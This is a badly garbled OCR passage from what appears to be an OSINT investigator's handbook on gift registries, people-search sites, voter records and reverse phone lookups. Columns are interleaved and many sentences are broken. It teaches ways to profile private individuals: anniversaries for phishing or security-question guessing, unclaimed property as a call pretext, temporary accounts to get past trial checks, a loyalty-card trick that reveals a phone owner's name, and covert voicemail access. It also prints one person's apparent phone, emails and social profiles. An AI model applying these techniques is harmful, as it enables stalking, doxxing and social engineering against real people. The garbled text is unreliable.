by a couple, there is much we can learn about their lives based on these details. In an example from Figure 17.04, I now know that a random Michael Wilson, who is getting married in San /Xntonio, will be going to his honeymoon in Maui (#2), snorkeling (#3), at the airport carrying a Lowcpro backpack (#4), checking red/black suitcases (#5), capturing everything on a Canon HD camcorder (#6), dining at the Lahaina Grill (#7), and staying at a fancy nearby’ hotel (#8). Indeed has a powerful collection of resume data. Because the term "resume" is not present in any’ of the content pages, you will likely not obtain this data during your standard searches. Entering your target name on Indeed under the "Find Candidates" option may present new results. Contact information is usually' redacted. However, detailed work experience, education, and location are commonly present. Maiden Name: In the example above, the results only’ identified future weddings. However, modifying in the search menu allows us to view past weddings. This will divulge a woman s maiden name. s c beneficial in order to better locate a Facebook page or other family’ members that may’ be off my ra also use this to then search old yearbooks, criminal details, and previous addresses. Date / State: Many counties will only share marriage certificates if the requestor knows the exact names of $ party’ and the exact date of the event. We have everything we need in order to file a request. Marriage cern often include full details of all parents, witnesses, and the officiant. Furthermore, I now have t eir annixe date which can be helpful during a phishing attack or social engineering attempt. You might be surpnse number of people that use their anniversary’ as a security’ question to an online account. Ceremony Details: The Knot and other wedding registry sites offer the couple a free website to announ details about the upcoming (or past) event. This usually includes an embellished story’ about how they met, in love, and he proposed. While this could be good knowledge for social engineering, I am usua y m interested in the wedding party’. This will usually include the closest friends of my target, which wi e next my investigation list Decades ago, people were surprised at the gifts presented to them after a wedding or birth. Today’, we create online registries identifying the exact products desired, and within moments someone can purchase and ship the "thoughtful" gift with very’ little effort. As an investigator, I have always enjoyed the plethora of personal details within these registries, which tend to stay’ online long after the related event. Before identifying the best resources, let's take a look at the types of details we can acquire from some random targets. Partner Name: When I am investigating someone, that person usually’ knows they’ are under a microscope. He or she tends to stop posting to social media and starts scrubbing any’ online details. However, their partner tends to ignore the threat of investigation and continues to upload sensitive information applicable to the target Therefore, online wedding and baby’ registries help me identify the most lucrative target aside from the original suspect. In an example from the wedding registry’ website theknot.com, 1 received over 200 results for Michael Wilson, which also includes the name of the future spouse. site:registry.thebump.com "Michael Wilson" Figure 17.04: A search result from a gift registry website. Fresh Flowers - Fresh cut. loc... $30.00 Guidebooks and Maps - Wait— $15 00 Snorkel Gear - Fins, snorkels.. $75.00 Lancn HO Camcorder*— $75.00 Dinner in Historic Lahaina ■_ Slew CO Breakfast in Bed • What ceul— $50 00 I Lo *tpro Fastpack 100 Gear.. $35 00 Other recent examples associated with actual targets identify the types of phones used, vehicles driven and subjects of interest. While The Knot requires both a first name and last name to conduct a search, providing two asterisks (**) as the first name will present every entry online including the provided last name. rally provide little to no value. Knowing the brand of diapers 1 me in the past. However, knowing a due date and location of be beneficial for future searching. Unfortunately, The Bump only allows searching of upcoming Gifts: The most fruitful registries in regard to identifying personal preferences of a target arc the various gift registries. Of all these, Amazon is the most popular. The following are the most common wedding, baby, and gift registries, with direct links to the most appropriate search pages. I highly encourage you to conduct a detailed Google "Site" search after attempting the proper method. Children: The items within a baby registry will u su j preferred or favorite crib style has never helped the target can b" '----- c_:_i r-- c...------------ 1_:__ births, and not any past profiles. Fortunately, Google has our backs. The following Google search revealed multiple baby registries from the past few years associated with Michael Wilson. The Knot: https://www.theknot.com/registry/couplesearch The Bump: https://registry.thebump.com/babyregistrysearch Amazon Baby: https://www.amazon.com/baby-reg/homepage/ Amazon Wedding: https://www.amazon.com/wedding/ Walmart Wedding: https://www. walmart.com/lists/find-wedding-registry Walmart Baby: https://www. walmart.com/registry/baby/search Target Wedding: https://www.target.com/gift-registry/ Target Baby: https://www.target.com/gift-registry/baby-registry Kohl's Wedding: https://www.myregistry.com/kohls-wedding-registry.aspx Ikea Wedding: https://info.ikea-usa.com/giftregistry Bed Bath & Beyond Wedding: https://www.bedbathandbeyond.com/store/page/Registry Macy's Wedding: https://www.macys.com/registry/wedding/registrysearch Registry’ Finder: https://rcgistryfindcr.com My Registry: https://www.rnyregistry.com People Search Engines 289 Find a Grave (findagrave.com) Addresses previously Voter Registration (www.blackbookonline.info/USA-Voter-Records.aspx) Google (google.com) 290 Chapter 17 https://www.fastpeoplesearch.com/ https://www.whitepages.com/reverse-address https://www.peoplefinder.com/ https://www.peoplesearchnow.com/ https://www.truepeoplesearch.com/ https://radaris.com https://www.intelius.com/ https://www.advancedbackgroundchecks.com/address.asp: https://www.spokeo.com/reverse-address-search https://thatsthem.com/reverse-address-lookup https://homemetry.com https://cyberbackgroundchecks.com While I assume that your goal is to find living targets, you should also have a resource for locating proof of deceased individuals. 1 have used this website numerous times to locate the graves of recently deceased people. While not necessarily "proof of death, it provides a great lead toward locating a death certificate and living family members. In 2021,1 began finding better results at People Legacy (peoplelegacy.com). Unclaimed Property Every' state in the U.S. possesses an unclaimed property' website. Common forms of unclaimed property’ include savings or checking accounts, stocks, uncashed dividends, online payments, refunds, and leftover utility’ balances. Most of these pages only require a last name to conduct a search. The results almost always include full name, home address, property’ type, and amount owed. This can provide a great search resource, and a possible pretext for a phone call. A complete collection of these sites with easy access to each state is at Unclaimed (unclaimed.org). If all else fails, or you believe you are missing something, check Google. Searching the address should identify’ any leftover information about your target address. When searching, place the street address in quotes excluding the city’. An example search may’ appear similar to "1234 Main" "Bethalto" IL. This will mandate that any’ results include the exact address and the exact city’ name, but they’ do not necessarily need to be right next to each other on the page. If you place the entire address including the city’ inside a single set of quotes, you would miss any Many’ people will have their address and telephone number unlisted in public telephone books. This prevents their information from appearing on some websites. If any’ of these people are registered voters, their address may’ still be public. In order to locate this data, you will need to connect to the county clerk of the county’ of residence. The link here will display’ a list of all fifty’ states. Clicking the state of the target will present all of the counties with known online databases of voter registration content. These will often display’ the full name of the voter and full address. This can be sorted by name or address depending on what information you have about the target. Later chapters present additional voter registration search options. The target of your investigation may be an address of your suspect. You may’ want to know who else lives at a residence. There are dozens of websites that possess databases of address information. I have outlined a few here that are unique from those already discussed. Additionally, the following websites which were [ discussed all allow reverse search of a residential address. Non-U.S. Targets People Search Engines 291 hits that did not have this exact data. This search should reveal numerous home sale websites that may have unique interior photos. Australia: www.peoplesearch.com.au Canada: www.canadapages.com Canada: www.infobel.com/en/Canada France: www.infobel.com/en/France Germany: www.infobel.com/en/Germany Spain: www.infobel.com/en/Spain UK: www. 192.com UK: www.peopletraceuk.com UK: www.gov.uk/government This chapter is heavily focused on U.S. targets. If you have a subject of interest outside of America, I have found the following to be beneficial. 292 Chapter 18 Carrier Identification Free Carrier Lookup (freecarrierlookup.com) provide the data you need, Ch a pt e r Eig h t e e n TELEPHONE NUMBERS Mobile Mobile VOIP VOIP Landline VOIP VOIP Verizon AT&T Google Voice Sudo Blur TextNow On/Off Ten years ago, I often queried telephone number porting websites to identify the provider of my target's telephone number. This would identify the cellular company that supplied service to my suspect. I would use that information within my court order to demand subscriber data about the target Knowing the prorider was essential as to not waste time requesting records from companies that had no data to provide. The websites used back then have either disappeared, or now charge a substantial fee for access. Five years ago, I noticed that an overwhelming amount of my target telephone numbers were connected to Voice Over Internet Protocol (VOIP) services such as Google Voice and Twilio. This would often be indicated by a result of "Broadband" or "Internet" instead of something obvious such as "Verizon". Until recently, the absence of a specific prorider was a hurdle during investigations. Today, we have more sophisticated services that can identify exact provider details on practically any number. If this service cannot proride the data you need, or if you want another source to proride more confidence in the result, you should also consider the sites Carrier Lookup (carrierlookup.com) and Phone Carrier Check (phonecarriercheck.com). If both of these sendees disappear by the time you need them, a Google search of "carrier lookup" should provide new alternatives. Verizon Wireless AT&T Wireless Google/Level 3 Twilio/Level 3 (SMS-Sybase) (MMS-SVR) Twilio/Level 3 Communications Enflick/Bandwidth.com (SVR) Peerless Network There are hundreds of websites that claim the ability to search for information on telephone numbers and addresses. These vary from amazingly accurate results to sites that only include advertisements. If 1 have a target telephone number, there are three phases of my search. First, I want to identify the type of number and provider. The type could be landline, cellular or internet, and the provider could be the company supplying the sendee. Next, I want to identify any subscriber information such as the name and address associated with the account. Finally, I want to locate any online web content with a connection to the target number. This can all lead to more intelligence and additional searches. The majority of cellular numbers can now be identified if they are registered in someone's name. If you have an address, you will want to identify any associated people or telephone numbers. This chapter will highlight the sites which can assist with these tasks. I begin with this option because it has been the most stable and does not limit searching as others do. This site requests any domestic or international telephone number and produces a report which includes the country’, type of sendee, and provider associated with the number. While many online services can identify the provider of a cellular or landline number, this option provides the best details about VOIP numbers. I submitted several telephone numbers associated with various proriders that I could personally confirm. The folloxring identifies the results of these searches. The first column represents the provider as I knew it, the second column is the type, and the third is the provider displayed by Free Carrier Lookup. This is far from complete, but I wanted to demonstrate the ability’ to convert internet-based numbers into identifiable companies. Telephone Numbers 293 Scout (scouttel/phone-numbcr-lookup) Caller ID Databases Twilio (twilio.com/lookup) 294 Chapter 18 Alton Township Madison County Illinois AT&T mobile false unlikely 28 administrative_area_level_3 administrative_area_level_2 administrative_area_level_l operating_company_name line_type ported risk_rating risk_ level Once you have identified the provider, you should focus on the subscriber data associated with the number. We will tackle this in several different ways, as many things changed in 2019. First, wc should focus on the most reliable options, which often require registration for a free trial. This chapter becomes quite technical quickly, but the tools at the end will simplify everything. I scoured the internet for every business that provides bulk caller ID data to private companies. Some offer a free website for testing; some require you to submit queries through their servers; and others make you register for a free trial. I have tested all of them and identified those that are easy to access and give the best results. First, I will focus only on easy and reliable ways to search an individual number through specific web addresses and Terminal commands. Afterward, I present some legacy services which still prove to be reliable. This section was heavily modified in 2021 due to company mergers and removal of free trials. In 2013, I began experimenting with reverse caller ID data. These are the same databases that identify a telephone number on your landline caller ID display. Often, this will include the name associated with the number. Until recently, this was something that only appeared on landline numbers, but that has changed. Now many cellular telephone numbers have name information associated with them. This name information is usually extracted from the cellular telephone service provider. I was immediately shocked at the accuracy of these results while searching cellular telephone numbers that were otherwise untraceable. On many of my investigations, this technique has eliminated the need to obtain court subpoenas to discover subscriber information. The reason we can access this data is because it is necessary for telephone systems that do not already possess caller ID options. New systems that operate over the internet, referred to as VOIP systems (Voice Over Internet Protocol), do not receive caller ID data natively. This is something that we have taken for granted while it was provided by our telephone companies. Today, many businesses must purchase access to this data from resellers. This presents us with an opportunity. We now know that this number was not ported from another carrier; it is a mobile number; and it possesses a low risk rating. These ratings increase for VOIP, forwarding, and masked numbers, and might indicate that the number you are searching is not assigned to any specific individual. This company provides VOIP services to many apps, companies, and individuals. An extended feature of their internet-based phone service is the ability to identify incoming calls through caller ID. Fortunately for us, they provide a page on their site that allows queries against their database, but it requires you to register for a free trial account. Locate the "Sign up" button and create a free account. Click the confirmation link in the email and This newer service provides a few pieces of information about a telephone number which I have not seen available anywhere else. The following is a partial result of a target telephone number query. Tclnyx (telnyx.com) Caller ID Service (calleridsemce.com) Username: jwilson555 Password: mb555555 Auth KEY: 0b253c059b9f26e588abl01f4c2332b496e5bf95 Balance : 0.12 US M Bazel null Google (Grand Central) - Level3 - SVR voip You could do this manually and add your API key, but that is complicated. Instead, consider using my custom script, as explained at the end of this section. It also adds the option to query' Twilio via API instead of the web portal. curl -X GET \ —header "Content-Type: application/json" \ -header "Accept: application/json" \ -header "Authorization: Bearer XXXX" \ "https://api.tclny’x.com/v2/number_lookup/+l$data?type=carrier&ty’pe=caller-name" If I could only search two websites, this would be my second pick. I found this sendee in late 2020 and I am impressed. The website offers a free trial account with $5.00 in free queries. This could last several years. Unfortunately, there is no way to submit a single URL as a query'. You must submit a Get request within Terminal to include several pieces of data. The following is the submission structure. Similar to Twilio and Tclnyx, you must create a free trial account. You must provide an email address and telephone number, and I have used temporary’ addresses and Google Voice to bypass this restriction. Navigate to this website and register for a free account. Upon completion, you will receive an email with an API license key that is valid for approximately’ 20 free successful searches. You will not be charged for empty' results. You must validate this address by’ clicking the link included in the message. This is their way of verifying that you provided an accurate and real email address. The following information was sent to my’ account. On the Lookup search page, insert the target number and allow the page to generate a result, which will appear directly below. The result will include the type of provider and any name associated with the billing. If I only had one website to search, this would be it. Below is an actual redacted result. Once you are logged in to an account, click "Explore Products" in the left menu. Scroll down to the "Lookup" feature on the right. This is the screen which allows querying of numbers, and you may want to bookmark this page. I usually only’ select the "Include caller name" unless I want confirmation of the carrier. These searches are S0.01 each, which means you should be able to conduct 1500 queries on this single trial. While a bit of an annoyance to set up the first time, the work is justified. Make sure you have a valid email and Google Voice account ready before registering. you should be all set. If you are required to verify a telephone number, Google Voice numbers are accepted. You should be presented with a $15 credit within Twilio. This should provide numerous searches. Telephone Numbers 295 PHONE NUMBER +16180000000 NATIONAL FORMAT (618) 000-0000 COUNTRY CODE CALLER NAME CALLER TYPE CARRIER NAME CARRIER TYPE https://cnam.calleridservice.com/query?u=jw’ilson555&k=c2332b496e5bf95&n=6187271200 recent scenario, a Removed Services Caller ID Script 296 Chapter 18 You are now ready to submit requests for caller ID information. To do this, you must formulate an API request in your browser that includes your username, authentication key, and target telephone number to search. This is easier than it sounds. rXll we need is a number to search. Before reverse caller ID lookups, this information would have required a subpoena. In one cellular telephone number searched on Sendee Objects revealed the name "Jennifer S" in the result. During an interview with this subject, she disclosed that "Jennifer S" is how she identifies her account on the telephone bill that she shares with other family members. She was unaware that this data was sent to the receiving number. On many searches, the full name will be present. This should explain why you may be noticing a caller's name on your caller ID display when he or she is calling from a cellular number. • cd ~/Documents/scripts • curl -u osint9:bookl43wt -O https://inteltechniques.com/osintbook9/cid.sh • chmod +x cid.sh • curl -u osint9:bookl43wt -O https://inteltechniques.com/osintbook9/cid.desktop • chmod +x cid.desktop • sudo cp cid.desktop /usr/share/applicarions/ • rm cid.desktop This queries the domain (calleridservice.com), our username (jwilson555), our authentication key (c2332b496e5bf95), and our target number (6187271200). The sendee confirmed that this cellular number belongs to John Williams. I recommend saving the address of your first query as a bookmark or favorite. However, you should leave off the target telephone number at the end of the address. This wall prevent the sendee from charging you for a credit even time you load this template. You can then add the new target number at the end of the bookmark and conduct your searches easily. Caller ID Service grants you SO. 12 in free searches, which will allowr you up to 25 queries. Obtaining an additional free trial will only require a different email address. We will add this URL to our search tools later. You may feel overwhelmed with these options. I can relate. For many years, I stored bookmarks of all URLs and APIs within my browser, then modified the content of each URL with my new target telephone number. This always felt sloppy and often wasted credits. In 2020,1 finally created my own search script which can be executed from within the Linux and Mac OSINT machines previously explained. Conduct the following within Terminal on your Linux VM to install the script and shortcut. These steps are also included at the end of the online linux.txt file explained in Chapter Four. In previous editions of this book, I explained caller ID lookup features of services including EveryoneAPI, BulkCNAM, OpenCNAM, CIDName, and Service Objects. I no longer present these opuons for various reasons. EveryoneAPI and OpenCNAM were acquired by Neustar, and no longer offer free trials of the sendee. Furthermore, their API requirements are more complicated and some no longer allow searching via static URL BulkCNAM became Bulk Solutions and suffers the same fate. CIDName is still present, but new accounts are scrutinized and rarely approved for our usage. Service Objects only offers a one-week trial, and the results are not great. In my experience, numbers which are not identified through Twilio or Telnyx would also not be present wdthin these removed services. Instead of maintaining numerous accounts, I find it better to simply focus on the three most reliable and easiest options. I present a summary' of usage with these providers in a moment. Next, let’s automate our query’ process. Selection: Reverse Caller ID Summary Telephone Numbers 297 1) Twilio 2) Telnyx 3) CallerlDService "CallerlDService") echo "Phone Number: ” read data curl ’http://cnam. calleridservice.com/query?u=XXXX &k=XXXX Sn^Sdata'1 esac done $!/usr/bin/env bash PS3='Selection: ' options= ("Twilio" "Telnyx" "CallerlDService") select opt in "${options[@]}" do case $opt in "Twilio") echo "Phone Number: " read data curl -X GET ’https://lookups.twilio.com/vl/PhoneNumbers/' $data'?Type=caller- name&Type=carrier' \ -u XXXX:XXXX "Telnyx") echo "Phone Number: read data curl -X GET \ —header "Content-Type: application/json" \ —header "Accept: application/json" \ —header "Authorization: Bearer XXXX" \ "https: //api . telnyx. com/v2/number_lookup/+l$data?type=carrier&type=caller- name" Next, you must open the cid.sh file within your Documents/scripts folder and modify the content. You mu*t provide your own API keys issued by any services which you wish to search. Replace any instance of "XXXX" within the script with your own API keys, as previously explained. When you execute the script, which should now be in your "Activities" menu labeled as "CallerID Tool", you should receive the following menu. Enter the number associated with the service you desire, then enter the target telephone number when prompted. The results will appear within your Terminal session. After each query, you can make another selection if you want to move to another service. As a reminder, you must replace each occurrence of "XXXX" within my script with your actual license keys or credentials if you want to use this technique. Below is the script There are many caller ID options available on the internet and I encourage you to investigate any companies which have surfaced since this research. Most services offer a free trial, even if it is not advertised. Adding a few dollars to each service may provide more queries than you will ever need. Take advantage of the free trials to determine which services work best in your investigations. In 2021, 1 ranked the following in terms of most useful to least. Apeiron (https://apeiron.io/cnam) People Data Labs (peopledatalabs.com) https://api.peopledatalabs.com/v5/person/enrich?pretty=true&api_key=XXXX&phone=+l 6184620000 298 Chapter 18 #1) Twilio: This was the most reliable and identified name and carrier consistently. #2) Telnyx: The results here were very similar to Twilio with a few unique records. #3) Caller ID Service: This legacy sendee often presents outdated information, which can also be valuable. "full_name": "sean fong thorne", "birth_year": "1990", "gender": "male", "linkedin_url": "linkedin.com/in/seanthome", "linkedinjd": "145991517", "facebook_url": "facebook.com/deseanthome", "facebookJd": "1089351304", "twitter_url": "twitter.com/seanthome5", "work_email": "[email protected]", "mobile_phone": "+14155688415", "email address": "[email protected]", "email address": "[email protected]", "email address": "[email protected]", "email address": "[email protected]", "email address": "[email protected]", "education"; "university of Oregon", "location": "san francisco, California, united states", "location": "albany, California, united states", "location": "portland, Oregon, united states" In 2019,1 purchased premium memberships through these services. A $10 purchase provided over 1,000 queries at each provider, and 1 still have credits today. 1 updated my API keys within my custom script, which I rely on every day. Spending a few minutes modifying your own script within your Linux VM will pay off ten-fold within the first week. 1 often avoid all telephone search websites when I can quickly identify' a number's owner without opening a browser. Overall, reverse caller ID sendees can tell us more about a target telephone number than the standard people search engines. In many cases, you can immediately obtain data that would have required a subpoena just a few years prior. Always utilize all of the sendees in order to gauge the confidence in the results. If this is overkill for your needs, there are other web-based search engines that are easier to use. At the end of the chapter, 1 present my custom search tools which should help automate many of these queries. This sendee possesses data similar to the premium caller ID products, but is completely free and available through a traditional website. The results are not as comprehensive as the previous options, but could be valuable if you have no caller ID accounts created. You would replace "XXXX" with your API key and "6184620000" with your target telephone number. Similar to the usage with email addresses, this query is powerful. I conducted a query for the cellular telephone number 4155688415. The full results would require several pages, but I will focus on the most desired date, as follows. If you acquired an API key from People Data Labs during the email chapter, you can use this key to query telephone numbers. This is not a true caller ID sendee, so I did not include it within the previous script However, you could add it if you find the service useful. First, let's take a look at the following URL structure. Truecaller (truecaller.com) Spy Dialer (spydialer.com) Caller ID Test (calleridtest.com) Telephone Search Websites Telephone Numbers 299 This service stands alone as the most creative telephone number lookup service. True Caller is an app for smart devices that displays caller ID information of incoming calls. If you receive a call on your phone, and the number is not in your contacts, True Caller searches its database and provides any results on your screen. You can then choose to accept or deny the call. This is fairly standard and is not the interesting aspect of this service. The fascinating part to me is the source of their caller database. It is mostly crowd-sourced. This site was designed to input a telephone number and test the Caller ID display feature. It is nothing more than a standard lookup sendee, but I have found the data to be unique from other sources on some occasions. Unfortunately, I have also found the availability of this sendee to be completely unreliable. While the site is usually present, the results don't always populate. However, this resource should be checked as a last resort when the other processes have failed. This is the only service which has reliably presented Facebook profile data from a telephone number query. Hopefully, they will continue to offer their free trial which allows 1,000 lookups without expiration. I added this option within the custom search tools under the caller ID section. Similar to those, you must add your API key to the source code of the page in order for it to function. In previous editions of this book, I summarized a handful of people search websites which allowed the query of a telephone number. These sites all possess unique data sets and each should be searched. Most of the results originate from sources such as property tax data, marketing leaks, phonebooks, and various data breaches. Instead of explaining each site, which becomes quite redundant, I will display the static URL of a search submission. Many of these links avoid unnecessary loading screens and advertisements. This will help us with the automated tool at the end. Overall, we cannot control the results, and telephone search is mostly "what you see is what you get". Replace the demo number (618-462-0000) with your target number. When you install the app, you give it permission to collect all of your contacts and upload them to the original database. Basically, millions of users have uploaded their contact lists for the world to see. The next amazing thing to me is the ability to search within this data on the True Caller website. You must connect to the service via a covert Microsoft or Google account, but that is not difficult. When I first found this service, I was skeptical. I entered the cellular number of my government issued cellular telephone expecting to see no results. The response was "Mike Bazell". My jaw dropped. My super-secret number was visible to the world. This means that someone in my circle, likely another government employee, installed True Caller on his or her phone and had my information in their contacts. Until someone else populates data for this number, it will always be present in the database. This service offers a typical telephone number search tool, which also appears to extract data from crowd­ sourced databases. I suspect that much of this data was acquired many years ago, but this can still be beneficial. Sometimes, I want historical data about a number, even if it is no longer issued to the target. Real World Application: During my final year of government investigations, I queried a target number associated with a homicide through this service. The result was "Drug Dealer Matt". One of the target's customers must have installed True Caller. One of three potential suspects was named Matt, who earned our spodight, and later an arrest. Search Engines 300 Chapter 18 i "(202)555-1212" "(202)555.1212" 411 https://www.41l.com/phone/1-618-462-0000 800 Notes https://800notes.com/Phone.aspx/l-618-462-0000 Advanced Background Checks https://www.advancedbackgroundchecks.eom/618-462-0000 America Phonebook http://www.americaphonebook.com/reverse.php?number=6184620000 Caller Smart https://www.callersrnart.corn/phone-number/618-462-0000 Cyber Background Checks: https://www.cyberbackgroundchecks.com/phone/618-462-0000 Dehashed https://dehashed.com/search?query=6184620000 Fast People Search https://www.fastpeoplesearch.com/618-462-0000 Info Tracer https://infotracer.com/phone-lookup/results/?phone=6184620000 John Doe https://johndoe.com/phones/6184620000 Numpi https://numpi.com/phone-info/6184620000 Nuwber https://nuwber.com/search/phone?phone=6184620000 OK Caller https://www.okcaller.eom/6184620000 People Search Now https://www.peoplesearchnow.com/phone/618-462-0000 Phone Owner https://phoneowner.com/phone/6184620000 Reveal Name https://www.reveaIname.eom/618-462-0000 Reverse Lookup https://www.reverse-lookup.co/618-462-0000 Search People Free https://www.searchpeoplefree.com/phone-lookup/618-462-0000 Spytox https://www.spytox.eom/reverse-phone-lookup/618-462-0000 Sync.me https://sync.me/search/?number=l6184620000 That’s Them https://thatsthem.com/phone/618-462-0000 True People Search https://www.truepeoplesearch.com/results?phoneno=(618)462-0000 US Phonebook https://www.usphonebook.com/618-462-0000 White Pages https://www.whitepages.com/phone/l-618-462-0000 WhoseNo https://www.whoseno.com/US/6184620000 Yellow Pages https://people.yellowpages.com/whitepages/phone-lookup?phone=6184620000 Zabasearch https://www.zabasearch.com/phone/6184620000 Google https://www.google.com/search?q=618-462-0000 Bing https://www.bing.com/search?q=618-462-0000 Yandex https://yandex.com/search/?text=618-462-0000 "(202) 5551212" "(202) 555-1212" "(202) 555.1212" "(202)5551212" "2025551212" "202-555-1212" "202.555.1212" "202 555 1212" Google and Bing were once a great place to find basic information about a target phone number. These sites can still provide valuable information, but the amount of spam that will display in the results is overwhelming. Many of the links presented will link to sites that will charge a fee for any information associated. This information is usually the same content that could have been located with an appropriate free search. I do not recommend giving in to these traps. While we can't ignore a traditional search of telephone numbers, we can customize the queries in order to achieve the best results. Before explaining advanced telephone owner identification, we should take a look at appropriate search engine structure. Most people use traditional search engines as a first step toward identifying the owner of a telephone number. The number is usually provided in a standard format such as 202-555-1212. This can confuse some search engines because a hyphen (-) is often recognized as an operator to exclude data. Some engines might view that query as a search for 202 but not 555 or 1212. Additionally, this search might identify a website that possesses 202-555-1212 within the content but not one that contains (202) 555.1212. If this is your target number, all of the following should be searched in order to exhaust all possibilities. The quotation marks are important to prevent the hyphen from being seen as an operator. contact information. While not a complete list of options, the following should also be searched. "2025551212"OR"202-555-1212"OR"202.555.1212"OR"202 555 1212" "202 five five five one two one two"OR"202 555 one two one two"OR"202 five five five 1212" Sly Dial (slydial.com) Telephone Numbers 301 "(202) 5551212"OR"(202) 555-1212"OR"(202) 555.1212"OR"(202)5551212"OR"(202)555- 1212"OR"(202)555.1212" "two zero two five five five one two one two" "two zero two five five five 1212" "two zero two 555 one two one two" "two zero two 555 1212" "202 five five five one two one two" "202 555 one two one two" "202 five five five 1212" "two zero two five five five one two two one two"OR"two zero one two"OR"two zero two five five five 1212"OR"two zero two 555 one two 555 1212" This may seem ridiculous, but I am not done. Many websites forbid users to post a telephone number, such as many auction sites, but people tty to trick this restriction. They will type out a portion of their number to disclose Sly Dial does not usually ring the suspect's telephone. It will likely not show "missed call" or any other indicator that a call occurred. In my testing, less that 5 percent of the attempts actually cause the target telephone to ring only one time. Calling the missed call back reveals nothing about the identity of the number. Ultimately, there is a very small chance that the target will know that someone attempted a call. In the rare occurrence that the telephone rings, the target will never know the identity of the person making the calls. To use the Sly Dial service, call 267-759-3425 (267-SLYDIAL) from any telephone service including landlines, cellular lines, or VOIP. Follow the directions during the call. If this number does not work, visit slydial.com for updates. 1 want to stress the following one additional time. Use these services at your own risk. If accidentally notifying your target that you are conducting these types of activities could compromise your investigation, avoid this technique. This list would not capture a post that included (202) 555 twelve twelve, but you get the point After submitting these through Google, you should attempt each through Bing. In my effort to always provide search tools which automate and simplify these techniques, I have added this feature to your telephone tools presented at the end of the chapter. The right-middle portion of this page, displayed later in Figure 18.03, allows you to enter a numerical and written target telephone number. Clicking the submit button launches a series of JavaScript commands that launch eight new tabs within your browser. The first four are custom Google searches with the target data and the last four repeat the process on Bing. The following four searches are conducted on both services, using the example data entered previously. This service contacts the cellular provider of the target telephone number and sends you straight to the outgoing voicemail message. This can allow you to hear their voice and name without ringing the phone and hoping they do not pick up. Sly Dial does not work through a website and you do not need to create an account to use the service. Instead, you must call a general Sly Dial telephone number and follow the automated prompts. You must listen to a brief advertisement before your call is placed. Finally, the service will play the target's outgoing voicemail message through this audible telephone call. Since a website is not involved, there is no option to download an audio file of the call. Notice that these queries use quotation marks to obtain exact results and the OR operator to search multiple options independently from each other. You will likely receive many false positives with this method, but you are less likely to miss any relevant results. While this is a great starting point for number searches, it is much less reliable than the next method. Old Phone Book (oldphoncbook.com) No matches found for this year. Figure 18.01: A partial redacted result from Old Phone Book. Craigslist (craigslist.org) 302 Chapter 18 1996 1998 2001 can be a : number four five five five one two one confuse both Craigslist's servers ROBT MOSSMAN 6tW65j ROBERT 61W6I http://www.oldphonebook.com/searchphone2.php?syear=1994&sphone=6184620000 http://www.oldphonebook.com/searchphone2.php?syear= 1995&sphone=6184620000 http://www.oldphonebook.com/searchphone2.php?syear= 1996&sphone=6184620000 http://www.oklphonebook.com/searchphone2.php?syear=1997&sphone=6184620000 http:/1 www.oldphonebook.com/searchphone2.php?syear= 1998&sphone=6184620000 http://www.oldphonebook.com/searchphone2.php?syear=2001&sphone=6184620000 http://www.oldphonebook.com/searchphonc2.php?svear—2002&sphonc=6184620000 http://www.oldphonebook.com/searchphone2.php?syear=2003&sphone=6184620000 http://www.oldphonebook.com/searchphonc2.php?syear=2007&sphone=6184620000 http://www.oldphonebook.com/searchphone2.php?syear=2008&sphone=6184620000 http://www.oldphonebook.com/searchphone2.php?syear=2013&sphone=6184620000 http://www.oldphoncbook.com/scarchphone2.php?syear=2014&sphonc=6184620000 ROBERT MOSSMAN S' “““I 1997 Craigslist has already been discussed in earlier chapters, but the phone search options should be further detailed. Many people use Craigslist to sell items or services. The posts that announce the item or service available will often include a telephone number. These numbers will belong to a landline or cellular provider. This < great way to identify unknown telephone numbers. Some posts on Craigslist will not allow a telephone to be displayed on a post. It is a violation of the rules on certain types of posts. Some people choose not to list a number because of automated "scrapers" that wall grab the number and add it to databases to receive spam via text messages. Either way, the solution that most users apply to bypass this hindrance is to spell out the phone number. Instead of typing "314-555-1212", the user may enter "three one two". Some will get creative and post "314 five five five 1212". This is enough to 1 first noticed this niche sendee in late 2018. It provides historical WHiite Pages landline listings from 1994-2014. The sources are official databases collected from many years of telephone CD-ROMs. These were purchased by various companies throughout several decades as a more convenient option than traditional phone books. The data is quite impressive, and the following direct URLs allow us to add these to our tools. Results include historic addresses attached to each year. Figure 18.01 displays an actual redacted result from the official website. This provides an old address, and assumes that the target moved to a new- address between 1998 and 2001. This search is vital for background checks. Grocery Reward Cards / Loyalty Cards YOUR CASHIER TODAY MAS TAMMY 0073 AMBER SELMAN Figure 18.02: A receipt (left) and gas pump (right) identifying die owner of a cell number. 314-555-1212 3145551212 314 555 one two one two three one four 555-1212 AMBER SELMAN Tod; y _____ sitexraigslist.org "314-555-1212" sitexraigslist.org "314" "555" "1212" sitcxraigslist.org "three one four" "five five five" "one two one two" sitexraigslisr.org "314" "five five five" "1212 This search will not catch even' possible way to post a phone number. For example, if the user had typed "314 555 twelve twelve", the above technique would not work. The researcher must consider the alternative ways that a target will post a number on a website. It may help to imagine how you would post the target number creatively on a site, and then search for that method. Additionally, searching for only a portion of the number may provide results. You may want to try searching only die last four digits of the number. This may produce many unwanted results, but your target may be within the haystack. An automated option is included in the search tools. Most grocerv chains have adopted a reward/loyalty card system that mandates die participant to enroll in dieir program. The consumer completes an application and receives a plastic card to use during checkout for discounts. Manv of these stores only offer a sale price if you are a member in the program. Most consumers provide a cellular telephone number to the program and use that number during checkout. This eliminates the need of possessing a physical card in order to receive die discount. Instead, they type their cell number into the card swiping machine to associate the purchase with dieir membership. These programs contain a huge database of telephone numbers and the registered users. There is no online database to access diis data. However, you can obtain this data if you are creative. This list can get quite long if you try to search every possible search format. One search that will cover most of these searches in a single search attempt would look like the following. sitexraigslist.org "314" | "three one four" "555" ] "five five five" "1212" | "one two one two" Telephone Numbers 303 as well as the spammers. This can make searching difficult for an analyst. The hard way to do this is to conduct several searches similar to the following. The "|" symbol in this search is the same as telling Google "OR". In essence, we are telling Google to search "314" or "three one four", then "555" or "five five five", and then "1212" or "one two one two". With thi- search, you would receive a result if any combination of the following was used. Assume your target telephone number is 847-867-5309. If you have tried even’ technique mentioned at this point to identify the owner and failed, you may consider a query with a local grocery chain. The easiest method is to enter the store, purchase a pack of gum, and enter the target telephone number as the reward/loyalty program number. You will likely receive a receipt with the target's name on the bottom. Figure 18.02 (left) displays a portion of the actual receipt that I received when using this number. If you prefer to avoid entering a store, drive to the company's gas station outside of the store. Figure 18.02 (right) displays the notification I received when entering this same number at the pump. Note that this number is fictional. However, it has been registered at practically every grocery store in the United States. Tty to use it the next time you make a purchase. Escort Index (escortindex.com) 